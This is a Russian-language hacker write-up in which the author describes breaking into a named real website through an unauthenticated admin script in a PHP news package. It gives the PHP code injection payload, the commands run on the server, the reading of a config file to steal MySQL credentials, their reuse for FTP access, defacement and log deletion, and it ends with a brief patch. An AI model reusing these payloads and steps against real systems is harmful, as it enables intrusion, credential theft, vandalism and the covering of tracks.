Как был взломан www.polestudio.ru

Автор - OverG

Зашел я однажды на сайт e.polestudio.ru, полазил на нем, ничего интересного не нашел. Но тут я заметил что-то знакомое в линке, указывающем на архив новостей. Точно, это же скрипт под названием "Новости", который я недавно скачал, и в нем есть одна довольно глупая уязвимость (да простят меня создатели скрипта :) ).

Админская панель состоит из 2 основных файлов (config.php содержит только настройки) - index.php и script.php. index.php требует авторизацию, если это можно назвать авторизацией :) Скрипт сравнивает пароль, переданный в параметре pass с паролем в конфиге, если пароли не совпали, то возвращает пустую страницу, если совпали - сам знаешь че :)

Пройдя её, мы вводим текст новости, который передаётся файлу script.php параметром data. Самое главное - в файле script.php никакой авторизацией даже и не пахнет :) Этот скрипт записывает данные, переданные в параметре data в файл, названием которого является текущая дата. Я вот и решил открыть http://e.polestudio.ru/mywindows/admin/script.php?data=Hello!
Надпись Hello! довольно мелко отразилась в середине страницы /mywindows/index.php. Все! можно было довольно красиво отдефейсить. Но мне хотелось большего :)

И тут мне пришла идея, а что если вписать вместо текста новости <? system($cmd) ?> , тогда, при удачном раскладе, можно будет выполнять любые команды.
Пробую - /mywindows/admin/script.php?data=<? system($cmd) ?>
Затем открываю /mywindows/index.php?cmd=id;uname -a;
Команда выполнилась и в середине страницы /mywindows/index.php я увидел:

uid=1296(pole) gid=65533 groups=65533
FreeBSD v6.valuehost.ru 4.4-STABLE FreeBSD 4.4-STABLE #2: Wed Jan 15 21:44:48 MSK 2003

Права на дефейс есть. Конечно можно было бы написать index.php?cmd=echo Здесь был Вася > ../index.html но хотелось чтобы это было красиво. Жаль, что ФриБСД.., командой wget не воспользуешься, картинку прямо так залить не получится. Просмотр конфига новостей - /mywindows/admin/config.php мне ничего не дал, там был пароль на админку, но новость я мог добавить и сам. Никаких htpasswd'ов я не нашел, но полазив немного по дирам (ls ../) на этом сайте, я нашел форум, глянул файл конфига
cat ../eforum/config.php;
Там оказался логин и пароль от MySQL. К мою счастью этот пароль совпал с паролем от FTP. Осталось залить дефейс и удалить логи.

Патч.
Добавьте в файл index.php строку:
<input type=hidden name=pass value=<?=$pass?>> перед </form>

А в файл script.php добавьте после строки include("config.php");
if (!isset($pass)) exit;
$q=strcmp($pass,$password);